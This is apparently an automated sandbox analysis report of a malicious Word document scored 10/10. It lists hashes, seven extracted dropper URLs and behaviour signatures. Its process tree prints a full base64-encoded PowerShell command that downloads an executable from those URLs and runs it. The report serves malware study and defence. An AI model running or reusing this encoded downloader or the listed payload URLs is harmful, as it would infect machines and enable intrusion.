Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-09-2024 00:46

General

  • Target

    eec16311c84becfce8619f51c1cab24a_JaffaCakes118.doc

  • Size

    161KB

  • MD5

    eec16311c84becfce8619f51c1cab24a

  • SHA1

    bbaea1dfffd3b9009a473cc66b1a2b8bde828b28

  • SHA256

    16f75edb898e43ae44ff9318faed5391597f8d7c77da9893a18293408da5194c

  • SHA512

    4383c32ae8ee4212a6bbd4d634cdc172d1f3bbd976429e5c82736f521f09cd0708251101e73e8e8fda5100f952e7fc71426cb3472b1aa8770bedb2763a7de50e

  • SSDEEP

    3072:+KNtK1zjRjJz22TWTogk079THcpOu5UZTcWJ3/t5AtmAB:+Ct+zjR9/TX07hHcJQ9Jvt5AtmAB

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://khobormalda.com/wp-content/82/

exe.dropper

http://blog.zunapro.com/wp-admin/LEE/

exe.dropper

http://megasolucoesti.com/R9KDq0O8w/Y/

exe.dropper

https://online24h.biz/wp-admin/K/

exe.dropper

https://fepami.com/wp-includes/eaI/

exe.dropper

http://ora-ks.com/system/cache/w/

exe.dropper

http://padamagro.com/wp-admin/Nc/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eec16311c84becfce8619f51c1cab24a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1912
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABCADQAegBtAGEAMQBiAD0AKAAoACcAVAAnACsAJwB5AHUAJwApACsAJwBhAHYAJwArACcAYwBoACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAcgBQAFIATwBGAEkAbABFAFwASAB5AHUAOQBoAFYAMwBcAE0AZgBOAFgATwAzAHcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAVQByAGkAdAB5AHAAYABSAG8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACcAKwAnACwAIAB0ACcAKQArACcAbAAnACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAFIAYwBkAHgAaQBjADgAIAA9ACAAKAAnAFgAJwArACgAJwA5AG8AJwArACcAdQAnACsAJwBxAGYAdAAnACkAKQA7ACQAQwB5AG8AdQBjAHAAZgA9ACgAJwBMAGYAJwArACgAJwB2AHAAJwArACcAbgB1AHQAJwApACkAOwAkAEUANwAyADcAMQBxAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ASAB5AHUAOQBoAHYAMwAnACsAJwB7ADAAfQBNAGYAJwArACcAbgAnACsAJwB4ACcAKwAnAG8AMwB3AHsAMAB9ACcAKQAgAC0AZgBbAGMASABhAFIAXQA5ADIAKQArACQAUgBjAGQAeABpAGMAOAArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFEAZgBoAHQAYQAzAHQAPQAoACgAJwBaACcAKwAnADAAMgBxACcAKQArACcAbwBjACcAKwAnAHIAJwApADsAJABYAGcAdAA2AGkAMwB3AD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMAbABpAGUAbgB0ADsAJABWADUAaABqAGMAeQAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAnAGsAJwArACgAJwBoAG8AJwArACcAYgBvACcAKwAnAHIAbQAnACsAJwBhAGwAZABhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACcALwAnACsAKAAnAHcAcAAnACsAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAnADgAJwArACcAMgAvACcAKwAnACoAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvAGIAJwApACsAKAAnAGwAJwArACcAbwBnACcAKQArACcALgB6ACcAKwAoACcAdQBuAGEAcAAnACsAJwByACcAKQArACgAJwBvAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtACcAKQArACcAaQAnACsAJwBuAC8AJwArACgAJwBMACcAKwAnAEUARQAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAbQAnACsAJwBlAGcAYQBzACcAKQArACgAJwBvAGwAdQAnACsAJwBjAG8AJwApACsAJwBlACcAKwAnAHMAJwArACgAJwB0AGkAJwArACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAUgA5ACcAKwAoACcASwBEAHEAMABPACcAKwAnADgAJwApACsAJwB3ACcAKwAnAC8AJwArACgAJwBZAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAG8AJwApACsAJwBuACcAKwAoACcAbABpACcAKwAnAG4AZQAyADQAaAAuACcAKQArACcAYgBpACcAKwAoACcAegAnACsAJwAvAHcAJwArACcAcAAtAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcASwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAZgAnACsAJwBlAHAAJwArACgAJwBhAG0AJwArACcAaQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAJwApACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AZQBhACcAKwAnAEkALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoALwAnACsAJwAvAG8AJwApACsAJwByACcAKwAnAGEAJwArACcALQAnACsAKAAnAGsAcwAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHMAJwApACsAJwB5AHMAJwArACcAdABlACcAKwAoACcAbQAvACcAKwAnAGMAYQBjACcAKQArACgAJwBoACcAKwAnAGUALwAnACkAKwAoACcAdwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcAAnACkAKwAnAGEAJwArACcAZABhACcAKwAoACcAbQAnACsAJwBhAGcAJwApACsAKAAnAHIAbwAuACcAKwAnAGMAJwArACcAbwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACkAKwAnAE4AYwAnACsAJwAvACcAKQAuACIAcwBwAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGQAagBuAGwAcgBsAD0AKAAoACcATgB5AHUAcABzACcAKwAnADMAJwApACsAJwBiACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANABzAHkAaABfAGQAIABpAG4AIAAkAFYANQBoAGoAYwB5ADEAKQB7AHQAcgB5AHsAJABYAGcAdAA2AGkAMwB3AC4AIgBEAG8AdwBuAEwAYABvAEEAZABgAEYASQBgAGwARQAiACgAJABNADQAcwB5AGgAXwBkACwAIAAkAEUANwAyADcAMQBxAGMAKQA7ACQASwA1ADkAawAwAF8AdgA9ACgAKAAnAEQAXwB3ACcAKwAnAGUAeQAnACkAKwAnAHoAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARQA3ADIANwAxAHEAYwApAC4AIgBMAGAARQBuAEcAVABIACIAIAAtAGcAZQAgADIANwA3ADUANgApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABFADcAMgA3ADEAcQBjACkAOwAkAFEAZgBrAGsAZwBqAGcAPQAoACcAVwAnACsAKAAnAF8AbQAnACsAJwBpACcAKQArACgAJwBkACcAKwAnADgAaAAnACkAKQA7AGIAcgBlAGEAawA7ACQASwBiAHUAZgBoADAAawA9ACgAJwBYAGgAJwArACgAJwBtADYAJwArACcAZwB4ADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMgA2AHcAMwBiAGgAPQAoACgAJwBUACcAKwAnAHEAYwBfAGkAJwApACsAJwBlAGIAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2708

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      d9dfdfcd9c7fbf78fcf18720263f5278

      SHA1

      d02a381ad0af3539d5866803b9d37ba4c7ce1ee7

      SHA256

      72c01a3c0d8bdecea56952015ccbf890831cecf26ab9beff15c5645f3c908bf7

      SHA512

      baebc4df10b63e9348cf07d0036a7e9cbeda4fa3999056b7285fd8d255915e074eb6660bd6fa828d74bf03a7e6420ed255dddae49ae2e66b6ecbbd14fd909a43

    • memory/2156-24-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-46-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-5-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-17-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-21-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-20-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-19-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-16-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-11-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-23-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-9-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-8-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-7-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-14-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2156-2-0x000000007177D000-0x0000000071788000-memory.dmp

      Filesize

      44KB

    • memory/2156-10-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-22-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-26-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-31-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-30-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-29-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-28-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-27-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-68-0x000000007177D000-0x0000000071788000-memory.dmp

      Filesize

      44KB

    • memory/2156-25-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-43-0x000000007177D000-0x0000000071788000-memory.dmp

      Filesize

      44KB

    • memory/2156-44-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-45-0x0000000006510000-0x0000000006610000-memory.dmp

      Filesize

      1024KB

    • memory/2156-0-0x000000002FE01000-0x000000002FE02000-memory.dmp

      Filesize

      4KB

    • memory/2156-47-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-48-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2156-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2708-38-0x0000000001F00000-0x0000000001F08000-memory.dmp

      Filesize

      32KB

    • memory/2708-37-0x000000001B5B0000-0x000000001B892000-memory.dmp

      Filesize

      2.9MB